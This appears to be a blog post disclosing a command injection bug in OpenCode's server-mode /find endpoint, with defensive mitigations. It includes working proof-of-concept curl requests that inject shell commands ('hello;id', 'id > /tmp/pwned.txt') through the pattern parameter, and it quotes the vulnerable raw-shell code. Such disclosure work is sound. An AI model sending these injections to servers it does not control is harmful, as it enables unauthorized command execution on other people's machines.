DEV Community

Cover image for The Classic Bug: Command Injection in OpenCode's Server Mode
Jonathan Santilli
Jonathan Santilli

Posted on

The Classic Bug: Command Injection in OpenCode's Server Mode

After finding three configuration-based issues, I shifted focus. What about the server API?


The first three vulnerabilities (MCP, Code Formatter, and LSP) I found were all variations on the same theme: configuration as code execution. Interesting, but perhaps expected once you understand OpenCode's design philosophy.

This one is different. This is a classic command injection bug. The kind you learn about in Security 101. The kind that shouldn't exist in 2026.

And yet, here we are.

OpenCode Server Mode

OpenCode has an optional server mode. You run opencode serve, and it exposes an HTTP API that other tools can use, IDE integrations, remote access, that kind of thing.

One of the API endpoints is /find. It searches for text patterns across your project using ripgrep. Send a GET request with a pattern parameter, get back matching results. Straightforward.

curl "http://localhost:8080/find?pattern=TODO"
Enter fullscreen mode Exit fullscreen mode

This returns all occurrences of "TODO" in the project. Useful.

The Discovery

I was poking at the API, testing different inputs, when I tried something simple:

curl "http://localhost:8080/find?pattern=hello;id"
Enter fullscreen mode Exit fullscreen mode

And the server returned... my user ID.

Wait. What?

I checked /tmp:

curl "http://localhost:8080/find?pattern=hello;id>/tmp/test.txt"
# ...
cat /tmp/test.txt
# uid=501(myuser) gid=20(staff) groups=...
Enter fullscreen mode Exit fullscreen mode

The id command had executed. On the server. From an HTTP request.

This is command injection. In 2024. In a developer tool.

How It Works

I traced through the code:

// packages/opencode/src/server/routes/file.ts:13
const pattern = ctx.req.query("pattern")
// ... passed to Ripgrep.search
Enter fullscreen mode Exit fullscreen mode
// packages/opencode/src/file/ripgrep.ts:393
const command = args.join(" ")

// Line 394
await $`${{ raw: command }}`
Enter fullscreen mode Exit fullscreen mode

There it is. The pattern from the HTTP request ends up in args. The args get joined into a string. That string gets executed via a shell.

The $ template literal with raw tells Bun to pass the string directly to the shell without escaping. So when the pattern contains ;id, the shell sees:

rg --json ... -- hello;id .
Enter fullscreen mode Exit fullscreen mode

The semicolon terminates the ripgrep command. id runs as a separate command. Classic shell injection.

Why This Exists

I think I understand how this happened. Ripgrep has complex argument handling. Patterns can contain special characters. Glob patterns need quoting. It's fiddly.

Someone probably wrote the shell-based version because it was easier to get right. The shell handles quoting and escaping... except it also handles command separators and pipes and backticks and all the other shell metacharacters that enable injection.

The fix is straightforward: use Bun.spawn(args) instead of shell execution. Pass arguments as an array, not a string. This is Security 101 stuff.

Testing

# Start the server
opencode serve --port 8080 &

# Send the exploit
curl -G "http://localhost:8080/find" \
  --data-urlencode "pattern=hello; id > /tmp/pwned.txt"

# Check
cat /tmp/pwned.txt
# uid=501(jonathansantilli) gid=20(staff) groups=...
Enter fullscreen mode Exit fullscreen mode

The id command executed. Verified on OpenCode 1.1.25.

The Severity Question

Here's where it gets interesting. The maintainers responded:

"Server mode is opt-in. Securing it is the user's responsibility."

And they're right that server mode is opt-in. Users have to explicitly run opencode serve. The documentation says to set OPENCODE_SERVER_PASSWORD for authentication.

But here's my perspective: opt-in doesn't mean injection-safe.

If I opt into running a web server, I expect it to have bugs. I expect I might misconfigure it. I don't expect that a search endpoint will execute arbitrary shell commands from the query string.

"Server mode is opt-in" is a reasonable statement about access control. It doesn't justify command injection.

The Attack Surface

Let me describe some scenarios:

Local Process Attack

You're running OpenCode server for IDE integration. Another process on your machine, maybe a compromised npm package, maybe a malicious browser extension, maybe just software you didn't fully trust, can reach localhost and inject commands.

Network Attack

You ran opencode serve --mdns so your tablet can connect. Now anyone on the same WiFi network can discover the service and inject commands. Coffee shop WiFi? Conference network? That hotel WiFi? All attack surfaces.

Chained Attack

You have another vulnerability somewhere, SSRF, open redirect, whatever. An attacker chains it to make requests to your localhost OpenCode server. Now a remote attacker has local command execution.

The Defense

The maintainers say to set OPENCODE_SERVER_PASSWORD. And yes, you should. But here's the thing: authentication protects against unauthorized access. It doesn't fix the injection.

An authenticated request with command injection still injects commands. The password just changes who can inject.

If there's any scenario where an attacker can make authenticated requests, stolen credentials, CSRF, replay attacks, the injection is still exploitable.

What You Should Do

If you use server mode:

1. Always set authentication

export OPENCODE_SERVER_PASSWORD="$(openssl rand -base64 32)"
opencode serve
Enter fullscreen mode Exit fullscreen mode

This isn't perfect defense, but it's the minimum.

2. Bind to localhost only

opencode serve --hostname 127.0.0.1
Enter fullscreen mode Exit fullscreen mode

Don't expose this to the network unless you absolutely need to.

3. Avoid --mdns on untrusted networks

That flag advertises your service to the local network. Only use it on networks you fully control.

4. Firewall the port

Even with authentication, minimize who can reach the endpoint.

A Different Kind of Issue

This vulnerability feels different from the configuration ones. Those were arguably features working as designed, just with unexpected security implications.

This is a bug. A classic, preventable, Security-101 bug. The fix is literally "don't shell out with user input", a principle that's been well-understood for decades.

I'm not saying this to criticize the OpenCode developers. These things happen. Complex systems have bugs. But I do think it illustrates that even in modern tools with sophisticated architectures, the old vulnerabilities still lurk.

The Disclosure

I reported this along with the other issues. Same response: outside the threat model because server mode is opt-in.

I understand the position. I disagree with applying it to this particular bug. Access control and input validation are different concerns. "Users should secure their server" doesn't mean "injection bugs are acceptable."

But the maintainers have made their decision, and I respect their right to make it. My job now is to make sure users have the information they need.

Final Thoughts

This post is shorter than the others because the bug is simpler. There's no nuanced discussion about threat models and design philosophy. A search endpoint shouldn't execute shell commands. That's the whole story.

If you run OpenCode server, authenticate it and restrict network access. Not because the maintainers tell you to, but because there's a command injection vulnerability in the /find endpoint.

Now you know.


Questions or need verification details? Contact me at x.com/pachilo

Technical Details

  • Affected version: OpenCode 1.1.25
  • Vulnerability type: Command injection via shell execution
  • CVSS: High (network-adjacent attack vector)
  • CWE: CWE-78 (OS Command Injection)

This post is published for community awareness after responsible disclosure to the maintainers.

Top comments (0)